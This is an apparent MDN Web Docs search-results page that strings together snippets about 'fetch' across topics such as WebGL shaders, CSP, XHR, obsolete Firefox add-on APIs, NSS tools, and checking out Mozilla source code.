...te data. const vssource = ` attribute vec4 avertexposition; attribute vec2 atexturecoord; uniform mat4 umodelviewmatrix; uniform mat4 uprojectionmatrix; varying highp vec2 vtexturecoord; void main(void) { gl_position = uprojectionmatrix * umodelviewmatrix * avertexposition; vtexturecoord = atexturecoord; } `; the key change here is that instead of fetching the vertex color, we're fetching the texture coordinates and passing them to the vertex shader; this will indicate the location within the texture corresponding to the vertex. the fragment shader the fragment shader likewise needs to be updated: const fssource = ` varying highp vec2 vtexturecoord; uniform sampler2d usampler; void main(void) { gl_fragcolor = texture2d(u...
...thin the texture corresponding to the vertex. the fragment shader the fragment shader likewise needs to be updated: const fssource = ` varying highp vec2 vtexturecoord; uniform sampler2d usampler; void main(void) { gl_fragcolor = texture2d(usampler, vtexturecoord); } `; instead of assigning a color value to the fragment's color, the fragment's color is computed by fetching the texel (that is, the pixel within the texture) based on the value of vtexturecoord which like the colors is interpolated bewteen vertices. attribute and uniform locations because we changed an attribute and added a uniform we need to look up their locations const programinfo = { program: shaderprogram, attriblocations: { vertexposition: gl.getattriblocation(shaderprogram,...
Event reference
data has been loaded. pause playback has been paused. play playback has begun. playing playback is ready to start after having been paused or delayed due to lack of data. ratechange the playback rate has changed. seeked a seek operation completed. seeking a seek operation began. stalled the user agent is trying to fetch media data, but data is unexpectedly not forthcoming. suspend media data loading has been suspended. timeupdate the time indicated by the currenttime attribute has been updated. volumechange the volume has changed. waiting playback has stopped because of a temporary lack of data. progress events event name fired when ...
...is terminated due to preset time expiring. storage events change (see non-standard events) storage update events checking downloading error noupdate obsolete updateready value change events broadcast checkboxstatechange hashchange input radiostatechange readystatechange valuechange uncategorized events invalid message message open show less common and non-standard events abortable fetch events event name fired when abort a dom request is aborted, i.e. using abortcontroller.abort(). svg events svgabort svgerror svgload svgresize svgscroll svgunload svgzoom database events abort blocked complete error success upgradeneeded versionchange script events afterscriptexecute beforescriptexecute menu events dommenuitemactive dommenuiteminactive ...
...d — recognisable speech or not — has been detected. speechend event web speech api speech recognised by the speech recognition service has stopped being detected. speechstart event web speech api sound that is recognised by the speech recognition service as speech has been detected. stalled event html5 media the user agent is trying to fetch media data, but data is unexpectedly not forthcoming. start event web speech api the speech recognition service has begun listening to incoming audio with intent to recognize grammars associated with the current speechrecognition. start speechsynthesisevent web speech api the utterance has begun to be spoken. storage storageevent web storage ...
Getting Started - Developer guides
timestamp on the client-side. ...
...doctype html> <html> <head> <meta charset="utf-8"> <title>xhr log time</title> <style> </style> </head> <body> <p id="writedata" class="data">off-line</p> <p id="laststamp">no data yet</p> <script> const fulldata = document.getelementbyid('writedata'); const lastdata = document.getelementbyid('laststamp'); function fetchdata() { console.log('fetching updated data.'); let xhr = new xmlhttprequest(); xhr.open("get", "time-log.txt", true); xhr.onload = function() { updatedisplay(xhr.response); } xhr.send(); } function updatedisplay(text) { fulldata.textcontent = text; let timearray = text.split('\n'); // included because some file systems always include a blank line at the end...
... xhr.send(); } function updatedisplay(text) { fulldata.textcontent = text; let timearray = text.split('\n'); // included because some file systems always include a blank line at the end of text files. if(timearray[timearray.length-1] === '') { timearray.pop(); } lastdata.textcontent = timearray[timearray.length-1]; } setinterval(fetchdata, 5000); </script> </body> </html> ...
CSP: default-src - HTTP
the http content-security-policy (csp) default-src directive serves as a fallback for the other csp fetch directives. ...
... the http content-security-policy (csp) default-src directive serves as a fallback for the other csp fetch directives. ...
...es. for each of the following directives that are absent, the user agent looks for the default-src directive and uses this value for it: child-src connect-src font-src frame-src img-src manifest-src media-src object-src prefetch-src script-src script-src-elem script-src-attr style-src style-src-elem style-src-attr worker-src csp version 1 directive type fetch directive syntax one or more sources can be allowed for the default-src policy: content-security-policy: default-src <source>; content-security-policy: default-src <source> <source>; sources <source> can be one of the following: <host-source> internet hosts by name or ip address, as well as an optional url scheme and/or port number. the site's address may include an optional lead...
Content-Security-Policy - HTTP
lps guard against cross-site scripting attacks (xss). for more information, see the introductory article on content security policy (csp). header type response header forbidden header name no syntax content-security-policy: <policy-directive>; <policy-directive> where <policy-directive> consists of: <directive> <value> with no internal punctuation. directives fetch directives fetch directives control the locations from which certain resource types may be loaded. child-src defines the valid sources for web workers and nested browsing contexts loaded using elements such as <frame> and <iframe>. instead of child-src, if you want to regulate nested browsing contexts and workers, you should use the frame-src and worker-src directives, respectively. ...
... valid sources for web workers and nested browsing contexts loaded using elements such as <frame> and <iframe>. instead of child-src, if you want to regulate nested browsing contexts and workers, you should use the frame-src and worker-src directives, respectively. connect-src restricts the urls which can be loaded using script interfaces default-src serves as a fallback for the other fetch directives. font-src specifies valid sources for fonts loaded using @font-face. frame-src specifies valid sources for nested browsing contexts loading using elements such as <frame> and <iframe>. img-src specifies valid sources of images and favicons. manifest-src specifies valid sources of application manifest files. media-src specifies valid sources for loading media using the <audio>...
...ding media using the <audio> , <video> and <track> elements. object-src specifies valid sources for the <object>, <embed>, and <applet> elements. elements controlled by object-src are perhaps coincidentally considered legacy html elements and are not receiving new standardized features (such as the security attributes sandbox or allow for <iframe>). therefore it is recommended to restrict this fetch-directive (e.g., explicitly set object-src 'none' if possible). prefetch-src specifies valid sources to be prefetched or prerendered. script-src specifies valid sources for javascript. script-src-elem specifies valid sources for javascript <script> elements. script-src-attr specifies valid sources for javascript inline event handlers. style-src specifies valid sources for styleshe...
Origin - HTTP
Web › HTTP › Headers › Origin
header type request header forbidden header name yes syntax origin: null origin: <scheme> "://" <hostname> [ ":" <port> ] directives <scheme> the protocol that is used. usually it is the http protocol or its secured version, https. ...
... header type request header forbidden header name yes syntax origin: null origin: <scheme> "://" <hostname> [ ":" <port> ] directives <scheme> the protocol that is used. usually it is the http protocol or its secured version, https. ...
...me of the server (for virtual hosting) or the ip. <port> optional tcp port number on which the server is listening. if no port is given, the default port for the service requested (e.g., "80" for an http url) is implied. examples origin: https://developer.mozilla.org specifications specification comment rfc 6454, section 7: origin the web origin concept fetchthe definition of 'origin header' in that specification. supplants the origin header as defined in rfc6454. ...
OpenSearch description format
that is, from https:// uris as opposed to data: uris), firefox will reject icons larger than 10 kilobytes. url describes the url or urls to use for the search. the template attribute indicates the base url for the search query. firefox supports three url types: type="text/html" specifies the url for the actual search query. type="application/x-suggestions+json" specifies the url for fetching search suggestions. in firefox 63 onwards, type="application/json" is accepted as an alias of this. type="application/x-moz-keywordsearch" specifies the url used when a keyword search is entered in the location bar. this is supported only in firefox. for these url types, you can use {searchterms} to substitute the search terms entered by the user in the search bar or location bar. other ...
...ed when a keyword search is entered in the location bar. this is supported only in firefox. for these url types, you can use {searchterms} to substitute the search terms entered by the user in the search bar or location bar. other supported dynamic search parameters are described in opensearch 1.1 parameters. for search suggestions, the application/x-suggestions+json url template is used to fetch a suggestion list in json format. for details on how to implement search suggestion support on a server, see supporting search suggestions in search plugins. param the parameters that must be passed in along with the search query as key/value pairs. when specifying values, you can use {searchterms} to insert the search terms entered by the user in the search bar. moz:searchform the url for ...
...st be closed with a trailing slash or matching end tag. the xmlns attribute is important — without it you could get the error message "firefox could not download the search plugin". you must include a text/html url — search plugins including only atom or rss url types (which is valid, but firefox doesn't support) will also generate the "could not download the search plugin" error. remotely fetched favicons must not be larger than 10kb (see bug 361923). in addition, the search plugin service provides a logging mechanism that may be useful to plugin developers. use about:config to set the pref 'browser.search.log' to true. then, logging information will appear in firefox's error console (tools ⟩ error console) when search plugins are added. reference material opensearch documentati...
Web Performance
is the time it takes for a packet of data to travel from source to a destination. in terms of performance optimization, it's important to optimize to reduce causes of lacency and to test site performance emulating high latency to optimizer for users with lousy connections. this article explains what latency is, how it impacts performance, how to measure latency, and how to reduce it.using dns-prefetchdns-prefetch is an attempt to resolve domain names before resources get requested. this could be a file loaded later or link target a user tries to follow. beginner's tutorials the mdn web performance learning area contains modern, up-to-date tutorials covering performance essentials. start here if you are a newcomer to performance: web performance: brief overview overview of the we...
...nts code splitting cssom domain sharding effective connection type first contentful paint first cpu idle first input delay first interactive first meaningful paint first paint http http/2 jank latency lazy load long task lossless compression lossy compression main thread minification network throttling packet page load time page prediction parse perceived performance prefetch prerender quic rail real user monitoring resource timing round trip time (rtt) server timing speculative parsing speed index ssl synthetic monitoring tcp handshake tcp slow start time to first byte time to interactive tls transmission control protocol (tcp) tree shaking web performance documents yet to be written javascript performance best practices javascript, when use...
...omes to resource prioritization and delivery however they're far from clairyovant. native browser features enable us to hint to the browser when it should connect to another server, or preload a resource before the browser knows it ever needs it. when used judiciously, this can make fast experience seem even faster. in this article, we cover native browser features like rel=preconnect, rel=dns-prefetch, rel=prefetch, and rel=preload, and how to use them to your advantage. performance budgets marketing, design, and sales needs, and developer experience, often ad bloat, third-party scripts, and other features that can slow down web performance. to help set priorities, it is helpful to set a performance budget: a set of restrictions to not exceed during the development phase. in this article, we...
ui/button/action - Archive of obsolete content
destroying buttons when you've finished with a button, destroy it by calling its destroy() method. after that, any attempts to access any of it...
...again. you can use the strings "window" or "tab" as shortcuts. for example, this add-on: creates a button with a default label opens a new tab sets a new label only fo...
ui/button/toggle - Archive of obsolete content
updating checked you can update a toggle button's checked property in just the same way you update its other properties, but there's one extra ...
...again. you can use the strings "window" or "tab" as shortcuts. for example, this add-on: creates a button with a default label opens a new tab...
Session store API - Archive of obsolete content
var ss = components.classes["@mozilla.org/browser/sessionstore;1"] .getservice(components.interfaces.nsisessionstore); var currenttab = gbrowser.selectedtab; var datatoattach = "i want to attach this"; ss.settabvalue(currenttab, "key-name-here", datatoattach); this code sets the value of the key "key-name-here" to datatoattach. you may use any javascript object as the data. ...
...ozilla.org/browser/sessionstore;1"] .getservice(components.interfaces.nsisessionstore); var currenttab = gbrowser.selectedtab; var datatoattach = "i want to attach this"; ss.settabvalue(currenttab, "key-name-here", datatoattach); this code sets the value of the key "key-name-here" to datatoattach. you may use any javascript object as the data. ...
Supporting search suggestions in search plugins - Archive of obsolete content
once the list has been retrieved, it's displayed in a popup box that appears under the search bar, which lets the user select a suggested search term. if the user continues to type, a new set of suggestions is requested from the search engine, and the displayed list is refreshed. ...
...o implement a search plugin. implementing search suggestion support on the server the majority of the work in handling search suggestions is actually implemented on the server side. if you're a web site designer, and want to support search suggestions, you need to implement support for returning the suggestions in javascript object notation (json) given a search term. when the browser wants to fetch possible matches for a search term, it then sends an http get request to the url specified by the <url> element. your server should then decide upon the suggestions to offer using whatever means it sees fit, and return a json array of results: query string the first element in the array is the original query string. this allows firefox to verify that the suggestions match the current search ...
Adding preferences to an extension - Archive of obsolete content
red stock symbol to watch from the preferences. to do so, we call the nsiprefbranch.getcharpref() method, specifying that we want the preference named "symbol", which is where we store the user's selection for the stock to watch. we forcibly convert the symbol to upper-case since that's the way stock symbols are normally displayed. next, we call our own refreshinformation() method to immediately fetch and display the current information about the stock the extension is configured to monitor. we'll look at the details of how this method works later. the last thing the startup() method does is to call the window.setinterval() dom method to set up a callback that will automatically run our refreshinformation() method every 10 minutes. the interval time is specified in milliseconds. shutdown() ...
...ymbol", newsymbol); }, the only new information for us here is the call to the preference object's setcharpref() function, which sets the value of the "symbol" preference. note that this call results in our stockwatcher.observe() method being invoked and displayed stock information being updated. refreshinformation() this method is slightly revised from previous versions, in that it needs to fetch the preference for the stock to watch and use that to construct the url to monitor, as well as to construct the string to be displayed in the status bar panel. refreshinformation: function() { // because we may be called as a callback, we can't rely on // "this" referring to the right object, so we need to reference // it by its full name var symbol = stockwatcher.tickersymb...
Index - Archive of obsolete content
rbird, with a code signing certificate for object signing. the following instructions also apply to a theme and other xpi files. 301 supporting search suggestions in search plugins add-ons, opensearch, search, search plugins firefox supports search suggestions in opensearch plugins; as the user types in the search bar, firefox queries the url specified by the search plugin to fetch live search suggestions. 302 tabbed browser add-ons, code snippets, extensions here you should find a set of useful code snippets to help you work with firefox's tabbed browser. the comments normally mark where you should be inserting your own code. 303 techniques . 304 promises add-ons, examples, snippets, async no summary! 3...
...n update, or attempting to download the cache manifest for the first time. 3262 dischargingtimechange event the dischargingtimechange event is fired when the dischargingtime attribute of the battery api has changed. 3263 downloading the downloading event is fired after checking for an application cache update, if the user agent has found an update and is fetching it, or is downloading the resources listed by the cache manifest for the first time. 3264 error the error event is fired when an error occurred while downloading the cache manifest or updating the content of the application. 3265 levelchange the levelchange event is fired when the level attribute of the battery api has changed. 3266 noupda...
ActiveX Control for Hosting Netscape Plug-ins in IE - Archive of obsolete content
is implemented in a dll called pluginhostctrl.dll which is standalone from the rest of the mozilla project. if you're wondering how microsoft used to support the np api, look for a file called plugin.ocx in your windows system directory. this 100k activex control contains the entire np api implementation and probably worked much like pluginhostctrl.dll does now. the sections below tell you how to fetch, build and use the pluginhostctrl.dll . get the source you need cvs to get the source code. assuming you have cvs somewhere in your path, type this from a command prompt: c:\> set cvsroot=:pserver:anonymous@cvs-mirror.mozilla.org:/cvsroot c:\> set home=\temp c:\> cvs login (logging in to anonymous@cvs-mirror.mozilla.org) cvs password: anonymous c:\> cvs -z3 co mozilla/embedding/browser/activex/...
...nhostctrl.dll . get the source you need cvs to get the source code. assuming you have cvs somewhere in your path, type this from a command prompt: c:\> set cvsroot=:pserver:anonymous@cvs-mirror.mozilla.org:/cvsroot c:\> set home=\temp c:\> cvs login (logging in to anonymous@cvs-mirror.mozilla.org) cvs password: anonymous c:\> cvs -z3 co mozilla/embedding/browser/activex/src/pluginhostctrl this fetches the source for the control into mozilla\embedding\browser\activex\src\pluginhostctrl. you can also see the code online. build it it is quite simple to build the control locate the pluginhostctrl directory: open pluginhostctrl.dsp build "win32 debug" or another target open some of the test files under pluginhostctrl\tests in internet explorer to verify the control has built and registered ...
Binding Attachment and Detachment - Archive of obsolete content
ozbinding will remove the same group of bindings that were installed via the original call to element.style.mozbinding = "url(...)". the rule for detachment can be summarized as follows. whenever a binding is detached, all bindings that it explicitly inherits from are also detached. binding documents whenever a binding is attached to an element in another document, the binding document is only fetched if no binding from the binding document has been used before in the bound document. a given bound document has a unique copy of each separate binding document that it uses. all bindings from the same binding document url that are used in a bound document will share the same binding document. therefore if all the bindings in a chain come from binding documents that have already been loaded by t...
...are used in a bound document will share the same binding document. therefore if all the bindings in a chain come from binding documents that have already been loaded by the bound document, then the attachment of a binding (either through css or through the dom) is guaranteed to be synchronous. an author can ensure that all bindings are synchronously attached by calling loadbindingdocument to pre-fetch any xbl documents that are required. if the binding document is loaded prior to the firing of the load event, then any binding attachments that are placed following the load will be synchronous if they come from one of these previously loaded binding documents. the document obtained from loadbindingdocument is a copy of the binding document that is unique to the bound document. the bindings in t...
CORS - MDN Web Docs Glossary: Definitions of Web-related terms
w long the results of a preflight request can be cached. ...
... cached. ...
Prerender - MDN Web Docs Glossary: Definitions of Web-related terms
with prerendering, the content is prefetched and then rendered in the background by the browser as if the content had been rendered into an invisible separate tab. when the user navigates to the prerendered content, the current content is replaced by the prerendered content instantly. ...
... with prerendering, the content is prefetched and then rendered in the background by the browser as if the content had been rendered into an invisible separate tab. when the user navigates to the prerendered content, the current content is replaced by the prerendered content instantly. ...
MDN Web Docs Glossary: Definitions of Web-related terms
dynamic typing e ecma ecmascript effective connection type element empty element encapsulation encryption endianness engine entity entity header event exception expando f fallback alignment falsy favicon fetch directive fetch metadata request header firefox os firewall first contentful paint first cpu idle first input delay first interactive first meaningful paint first paint first-class function flex flex container flex item flexbox forbidden header name forbi...
... p2p pac packet page load time page prediction parameter parent object parse parser pdf perceived performance percent-encoding php pixel placeholder names plaintext png polyfill polymorphism pop3 port prefetch preflight request prerender presto primitive privileged privileged code progressive enhancement progressive web apps promise property property (css) property (javascript) protocol prototype prototype-based programming proxy server pseudo-class ...
Sending forms through JavaScript - Learn web development
l and transmits the data asynchronously in the background, updating only the parts of the ui that require changes. sending arbitrary data asynchronously is generally called ajax, which stands for "asynchronous javascript and xml". how is it different? the xmlhttprequest (xhr) dom object can build http requests, send them, and retrieve their results. ...
...ve their results. historically, xmlhttprequest was designed to fetch and send xml as an exchange format, which has since been superceded by json. but neither xml nor json fit into form data request encoding. form data (application/x-www-form-urlencoded) is made of url-encoded lists of key/value pairs. for transmitting binary data, the http request is reshaped into multipart/form-data. note: the fetch api is often used in place of xhr these days — it is a modern, updated version of xhr, which works in a similar fashion but has some advantages. most of the xhr code you'll see in this article could be swapped out for fetch. if you control the front-end (the code that's executed in the browser) and the back-end (the code which is executed on the server), you can send json/xml and process them...
Index - Learn web development
that javascript is probably involved. 49 asynchronous javascript beginner, codingscripting, guide, javascript, landing, promises, async, asynchronous, await, callbacks, requestanimationframe, setinterval, settimeout in this module we take a look at asynchronous javascript, why it is important, and how it can be used to effectively handle potential blocking operations such as fetching resources from a server. 50 choosing the right approach beginner, intervals, javascript, learn, optimize, promises, async, asynchronous, await, requestanimationframe, setinterval, settimeout, timeouts to finish this module off, we'll provide a brief discussion of the different coding techniques and features we've discussed throughout, looking at which one you should use wh...
... of client-side storage technologies useful. 58 drawing graphics api, article, beginner, canvas, codingscripting, graphics, javascript, learn, webgl at this point, you should have a useful idea of the basics of graphics programming using canvas and webgl and what you can do with these apis, as well as a good idea of where to go for further information. have fun! 59 fetching data from the server api, article, beginner, codingscripting, fetch, json, javascript, learn, promises, server, xhr, xml, xmlhttprequest, data, request this article shows how to start working with both xhr and fetch to fetch data from the server. 60 introduction to web apis 3rd party, api, article, beginner, browser, codingscripting, learn, object, webapi, client-side ...
General asynchronous programming concepts - Learn web development
r worker; it can basically just do the number crunching. the second problem is that although code run in a worker is not blocking, it is still basically synchronous. this becomes a problem when a function relies on the results of multiple previous processes to function. consider the following thread diagrams: main thread: task a --> task b in this case, let's say task a is doing something like fetching an image from the server and task b then does something to the image like applying a filter to it. if you start task a running and then immediately try to run task b, you'll get an error, because the image won't be available yet. main thread: task a --> task b --> |task d| worker thread: task c -----------> | | in this case, let's say task d makes use of the results of both task b and...
...lts of both task b and task c. if we can guarantee that these results will both be available at the same time, then we might be ok, but this is unlikely. if task d tries to run when one of its inputs is not yet available, it will throw an error. to fix such problems, browsers allow us to run certain operations asynchronously. features like promises allow you to set an operation running (e.g. the fetching of an image from the server), and then wait until the result has returned before running another operation: main thread: task a task b promise: |__async operation__| since the operation is happening somewhere else, the main thread is not blocked while the async operation is being processed. we'll start to look at how we can write asynchronous code in the next arti...
Client-side web APIs - Learn web development
most common things you'll want to do is manipulate web documents in some way. this is usually done by using the document object model (dom), a set of apis for controlling html and styling information that makes heavy use of the document object. in this article, we'll look at how to use the dom in detail, along with some other interesting apis that can alter your environment in interesting ways. fetching data from the server another very common task in modern websites and applications is retrieving individual data items from the server to update sections of a webpage without having to load an entirely new page. this seemingly small detail has had a huge impact on the performance and behavior of sites. in this article, we'll explain the concept, and look at technologies that make it possible,...
...r very common task in modern websites and applications is retrieving individual data items from the server to update sections of a webpage without having to load an entirely new page. this seemingly small detail has had a huge impact on the performance and behavior of sites. in this article, we'll explain the concept, and look at technologies that make it possible, such as xmlhttprequest and the fetch api. third party apis the apis we've covered so far are built into the browser, but not all apis are. many large websites and services such as google maps, twitter, facebook, paypal, etc. provide apis allowing developers to make use of their data (e.g. displaying your twitter stream on your blog) or services (e.g. displaying custom google maps on your site, or using facebook login to log in you...
Ember resources and troubleshooting - Learn web development
cli does with them, see the advanced use: asset compilation guide. note that sourcemaps are enabled by default. ember-data comes pre-installed; do i need it? not at all. while ember-data solves the most common problems that any app dealing with data will run in to, it is possible to roll your own front-end data client. ...
...urcemaps are enabled by default. ember-data comes pre-installed; do i need it? not at all. while ember-data solves the most common problems that any app dealing with data will run in to, it is possible to roll your own front-end data client. a common alternative is to any fully-featured front-end data client is the fetch api. using the design patterns provided by the framework, a route using fetch() would look something like this: import route from '@ember/routing/route'; export default class myroute extends route { async model() { let response = await fetch('some/url/to/json/data'); let json = await response.json(); return { data: json }; } } see more information on specifying the route's model here. why can't i just use javascript? this is the most common...
Introduction to client-side frameworks - Learn web development
r own devices, could end up with all the code related to one part of the ui being spread out all over a file — or in another file altogether. routing the most essential feature of the web is that it allows users to navigate from one page to another – it is, after all, a network of interlinked documents. ...
...each new pseudo-webpage is usually called a view, and by default, no routing is done. ...
Focus management with Vue refs - Learn web development
n is clicked to handle this. so how does this work? well, vue components undergo a series of events, known as a lifecycle. this lifecycle spans from all the way before elements are created and added to the vdom (mounted), until they are removed from the vdom (destroyed). vue lets you run methods at various stages of this lifecycle using lifecycle methods. this can be useful for things like data fetching, where you may need to get your data before your component renders, or after a property changes. the list of lifecycle methods are below, in the order that they fire. beforecreate() — runs before the instance of your component is created. data and events are not yet available. created() — runs after your component is initialized but before the component is added to the vdom. this is of...
...may need to get your data before your component renders, or after a property changes. the list of lifecycle methods are below, in the order that they fire. beforecreate() — runs before the instance of your component is created. data and events are not yet available. created() — runs after your component is initialized but before the component is added to the vdom. this is often where data fetching occurs. beforemount() — runs after your template is compiled, but before your component is rendered to the actual dom. mounted() — runs after your component is mounted to the dom. can access refs here. beforeupdate() — runs whenever data in your component changes, but before the changes are rendered to the dom. updated() — runs whenever data in your component has changed and after ...
Simple Instantbird build
to do just that. this may take a while, it's a lot of code! first, cd into the comm-central subdirectory (created automatically by the previous command): cd comm-central then run: python client.py checkout note: unless you have a very good network connection, "hg clone" might fail because it gets interrupted. it is faster and more efficient to use mercurial bundles instead the first time you fetch the complete repo. in this case, you need a bundle for comm-central, and a bundle for mozilla-central. unbundle mozilla-central into a "mozilla" subdirectory of your comm-central repo after unbundling comm-central. then run python client.py checkout to ensure you are up-to-date. the source code requires 1.5gb of free space or more. build configuration by default, the build system creates a rel...
... again simply re-run the mach command above. this will only recompile files that changed. incremental builds when you are working on your own patches, an incremental build is often enough, and is very fast indeed. this will only rebuild a particular folder. so, for instantbird, you would run mach build im which has been configured to automatically rebuild /chat as well. upstream changes to fetch the latest upstream changes, in your comm-central directory, run the same command as before: python client.py checkout problems building? have you: tried a clobber? this means deleting the object directory so that your next build is completely fresh. to do this you can use mach clobber checked the instantbird buildbot for known failures at the time you pulled the code? if the t...
Interfacing with the Add-on Repository
starting a request to start a search of the repository, you can use either of the following methods: searchaddons() queries the add-on repository for add-ons matching given search criteria. retrievere...
...administrators. this example will use the latter, in order to randomly select a recommended add-on and offer to install it. however, the code to perform a search term based query would be very similar. when the user clicks a toolbar button to initiate the query, the following code gets run to start the request: addonrepository.retrieverecommendedaddons(10, this); this asks the repository to fetch up to 10 add-ons, using the object this as the target for callbacks. the callback object needs to implement the searchcallback interface, providing the methods that get called when a search either fails or completes successfully. handling failed requests the callback object must have a searchfailed() method; this gets called when a repository search fails to execute. the most common cause of fa...
NSS tools : vfychain
c operations. this tool can also create certificate, key, and module security database files. the tasks associated with security module database management are part of a process that typically also involves managing key databases and certificate databases. options -a the following certfile is base64 encoded -b yymmddhhmmz validate date (default: now) -d directory database directory -f enable cert fetching from aia url -o oid set policy oid for cert validation(format oid.1.2.3) -p use pkix library to validate certificate by calling: * cert_verifycertificate if specified once, * cert_pkixverifycert if specified twice and more. -r following certfile is raw binary der (default) -t following cert is explicitly trusted (overrides db trust) -u usage 0=ssl client, 1=ssl server, 2=ssl stepup, 3=ssl ca, ...
...sets status checking test type. possible values are "leaf" or "chain". -h test flags sets revocation flags for the test type it follows. possible flags: "testlocalinfofirst" and "requirefreshinfo". -m method type sets method type for the test type it follows. possible types are "crl" and "ocsp". -s method flags sets revocation flags for the method it follows. possible types are "donotuse", "forbidfetching", "ignoredefaultsrc", "requireinfo" and "failifnoinfo". additional resources for information about nss and other tools related to nss (like jss), check out the nss project wiki at [1]http://www.mozilla.org/projects/security/pki/nss/. the nss site relates directly to nss code changes and releases. mailing lists: https://lists.mozilla.org/listinfo/dev-tech-crypto irc: freenode at #dogtag-pki aut...
NSS tools : vfychain
curity database files. the tasks associated with security module database management are part of a process that typically also involves managing key databases and certificate databases. options -a the following certfile is base64 encoded -b yymmddhhmmz validate date (default: now) -d directory database directory -f enable cert fetching from aia url -o oid set policy oid for cert validation(format oid.1.2.3) -p use pkix library to validate certificate by calling: * cert_verifycertificate if specified once, * cert_pkixverifycert if specified twice and more. -r following certfile is raw binary der (default) -t following cert is explicitly trust...
...test flags sets revocation flags for the test type it follows. possible flags: "testlocalinfofirst" and "requirefreshinfo". -m method type sets method type for the test type it follows. possible types are "crl" and "ocsp". -s method flags sets revocation flags for the method it follows. possible types are "donotuse", "forbidfetching", "ignoredefaultsrc", "requireinfo" and "failifnoinfo". additional resources for information about nss and other tools related to nss (like jss), check out the nss project wiki at [1]http://www.mozilla.org/projects/security/pki/nss/. the nss site relates directly to nss code changes and releases. mailing lists: https://lists.mozilla.org/listinfo/dev-tech-crypto ...
Getting SpiderMonkey source code
loads the entire mozilla repository, including the full change history and a lot of gecko and firefox source code that isn't part of spidermonkey. it also changes to the spidermonkey directory (js/src). hg clone https://hg.mozilla.org/mozilla-central/ cd js/src to avoid getting the full change history, click the zip or gz links at https://hg.mozilla.org/index.cgi/mozilla-central/file/tip. this fetches a snapshot of the current mozilla tree. if you have problems with the instructions above, you can read the full details of using mercurial to get mozilla code here. that page also contains links to several bundles, which can be useful if you have a poor network connection. getting the latest spidermonkey source code from git the following command line downloads the entire mozilla repository,...
...tps://github.com/mozilla/gecko-dev.git cd gecko-dev/js/src if you want a faster (about 5 times as of january 2015) download, try doing a shallow clone (no version control history). git clone --depth 1 https://github.com/mozilla/gecko-dev.git if you have any problems check the https://wiki.mozilla.org/github page. getting older spidermonkey sources from cvs note: you will need to explicitly fetch the javascript shell sources even if you currently build another mozilla project, as there are files specific to the shell that are not normally found in a mozilla source tree. just like when you're fetching any other mozilla project from cvs, you need to log into the cvs server first. to do this, cd into the base directory you'd like to check out the code into, then enter the following command ...
Places utilities for JavaScript
e. ...
... array object getannotationsforitem(aitemid) parameters aitemid the identifier of the itme for which annotations are to be retrieved. ...
nsICRLInfo
read only. lastupdate prtime the time this crl was created at. read only. lastupdatelocale astring lastupdate formatted as a human readable string formatted according to the environment locale. read only. ...
...read only. lastupdate prtime the time this crl was created at. read only. lastupdatelocale astring lastupdate formatted as a human readable string formatted according to the environment locale. read only. ...
nsIMsgFolder
void setinvfeditsearchscope(in boolean asearchthisfolder, in boolean asetonsubfolders); void copydatatooutputstreamforappend(in nsiinputstream aistream, in long alength, in nsioutputstream outputstream); void copydatadone(); void setjunkscoreformessages(in nsisupportsarray amessages, in acstring ajunkscore); void applyretentionsettings(); boolean fetchmsgpreviewtext([array, size_is (anumkeys)] in nsmsgkey akeystofetch, in unsigned long anumkeys, in boolean alocalonly, in nsiurllistener aurllistener); void addkeywordstomessages(in nsisupportsarray amessages, in acstring akeywords); void removekeywordsfrommessages(in nsisupportsarray amessages, in acstring akeywords); autf8string getmsgtextfromstream(in nsimsgdbhdr amsg...
... nsiinputstream aistream, in long alength, in nsioutputstream outputstream); copydatadone() void copydatadone(); setjunkscoreformessages() void setjunkscoreformessages(in nsisupportsarray amessages, in acstring ajunkscore); applyretentionsettings() void applyretentionsettings(); fetchmsgpreviewtext() get the beginning of the message bodies for the passed in keys and store them in the msg hdr property "preview". this is intended for new mail alerts, title tips on folders with new messages, and perhaps titletips/message preview in the thread pane. boolean fetchmsgpreviewtext([array, size_is (anumkeys)] in nsmsgkey akeystofetch, in unsigned long an...
nsIPushService
me://my-module/push", scriptsecuritymanager.getsystemprincipal(), (code, subscription) => { if (!components.issuccesscode(code)) { cu.reporterror("error creating subscription: " + code); return; } // `subscription` implements `nsipushsubscription`. subscription.endpoint; subscription.getkey("p256dh"); subscription.getkey("auth"); } ); getsubscription() fetches an existing subscription. void getsubscription( in domstring scope, in nsiprincipal principal, in nsipushsubscriptioncallback callback ); parameters scope the unique scope url, as passed to nsipushservice.subscribe(). principal the subscription nsiprincipal, as passed to nsipushservice.subscribe(). callback the callback to call with the fetched nsipushsubscription. example p...
...otherwise, it's an instance of `nsipushsubscription`. ...
Using the Mozilla symbol server
ion path can seem strange because of inlining, tail calls, and other compiler optimizations. the only workaround is to build an unoptimized local build. the official symbol server url for firefox is https://symbols.mozilla.org/. you cannot visit this url directly: you must add it to the symbol path of your debugging tool. in the examples below, a local cache directory is used to avoid repeatedly fetching the pdb from the server. replace c:\users\bsmedberg\symbols with an appropriate cache directory on your machine. using the symbol server in microsoft visual c++ using the symbol server in windbg the windbg symbol path is configured with a string value delimited with asterisk characters. to use only the mozilla symbol server, add the following entry to your symbol path (note: you can repl...
...qfaservices.pdb mismatched or not found symchk: talkback.exe failed - built without debugging information. symchk: helper.exe failed - built without debugging information. symchk: failed files = 4 symchk: passed + ignored files = 179 downloading symbols on linux / mac os x if you are on linux and running gdb 7.9 or newer, you can use this gdb python script to automatically fetch symbols. you will need to source this script before loading symbols (the part where it spends a few seconds loading each .so when you attach gdb). if you want to reload symbols, you can try: nosharedlibrary sharedlibrary lib on older gdb and mac os x there is a python script to download symbols from the mozilla symbol server for gdb, shark and other software that uses symbols. note that the sym...
Virtualenv
thub virtualenv repository is maintained by the python packaging authority (including mozilla's tarek ziade and ian bicking). if you have git installed, you can clone the latest version of virtualenv: git clone git://github.com/pypa/virtualenv.git if you have pip or easy_install, you can install virtualenv directly from the web: pip install virtualenv # -or- easy_install virtualenv this will fetch virtualenv from pypi and install it in your site-packages. you may need to use sudo to obtain appropriate permissions for the system. if you do not have pip or easy_install, you will need to download from pypi or clone from the github virtualenv repository, extract from the tarball (in the pypi case), and run python setup.py install. again, you may need to use sudo to install globally. if you'r...
...ball (in the pypi case), and run python setup.py install. again, you may need to use sudo to install globally. if you're running ubuntu, there is also an ubuntu package available: sudo apt-get install python-virtualenv virtualenv.py may also be run as standalone software with the same functionality. it will require it to be part of a clone of the github repository or have internet access to fetch setuptools. on mac os x, you will need xcode to use virtualenv. see this article for details. using virtualenv once you have virtualenv installed, you can make virtual environments: > virtualenv tmp new python executable in tmp/bin/python installing setuptools............done. installing pip...............done. a python binary, as well as easy_install and pip are available in the bin/ subd...
